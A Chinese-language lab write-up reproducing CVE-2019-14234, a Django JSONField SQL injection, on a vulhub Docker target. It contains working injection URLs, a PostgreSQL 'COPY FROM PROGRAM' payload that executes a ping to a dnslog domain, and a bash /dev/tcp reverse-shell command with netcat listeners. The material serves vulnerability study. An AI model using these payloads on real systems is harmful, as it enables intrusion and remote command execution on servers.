0x01 简介
- 这是 vulhub上关于CVE-2019-14234的简介
0x02 环境准备
- docker环境
- 本次复现基于docker容器,自行安装docker并拉取vulhub,详见vulhub.org
- 根据 vulhub中的提示启动docker和漏洞环境
- dnslog: www.dnslog.cn/
- Netcat + 一台攻击机
0x03 漏洞复现
启动漏洞环境
注意事项
- 如果你的docker容器部署在云服务器上,一定要记得打开防火墙,开放端口,开放端口
- 整个项目应该是白盒测试,黑盒哪里能得到这么多信息.....
漏洞复现
- 1.登录 admin页面,username :
adminpassword:a123123123. 登录后界面:
其中 detail参数为用户可控变量,我们来测一波 访问: http://8.142.189.231:8000/admin/vuln/collection/?detail__a'b=123
看,这里报错了,很容易的就构造语句
构造语句
构造后语句: WHERE (field->'[detail__a‘) = '1' or 1=1]') ='value'
分析SQL执行语句:WHERE (field->'[key_name]') ='value'
WHERE (field->'[detail__a‘) = '1' or 1=1]') ='value'
0x04具体操作
-
报错页面
-
执行构造语句成功后的页面
- 在postgresql中创造 cmd_exec数据表,如果显示 no results to fetch 或者 exists,就ok了
http://8.142.189.231:8000/admin/vuln/collection/?detail__a')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20
- 使用dnslog 来查看是否执行命令
原理:当使用ping 命令时,访问dnslog,会留下 访问者IP
我的语句: http://8.142.189.231:8000/admin/vuln/collection/?detail__a')='1' or 1=1 ;copy cmd_exec FROM PROGRAM 'ping 98qzek.dnslog.cn'--20%
第一次:在url中输入的表名错误,失败
第二次: 应该是url漏了什么,解码时发生错误,失败
第三次:第三次就成功了(上面的命令,是已经修改后,正确的命令)
- dnslog 有解析记录,说明执行成功了啊,可以继续做一些其他的事情了!感觉这就行一个RCE了,大有可为
0x05 漏洞利用
- 反弹shell
受害机:bash -i >& /dev/tcp/your ip/端口 0>&1 攻击机: 开启监听模式 nc -lvp 端口 nc -lvnp 端口 下一步还可以继续做文章....
- 通过此漏洞可以执行系统命令,那么可不可以继续渗透,拿服务器权限了?
- 可不可以利于meatsploit getshell 呢?
0x06 结语
上述的所有想法,我都做不了,因为我的电脑只有四个G,开一个VMware,kali,一个浏览器,就卡了。等我工作以后,再来试试吧....
不得不说阿里云是真的强啊,我就复现一个漏洞,警报短信就发起来了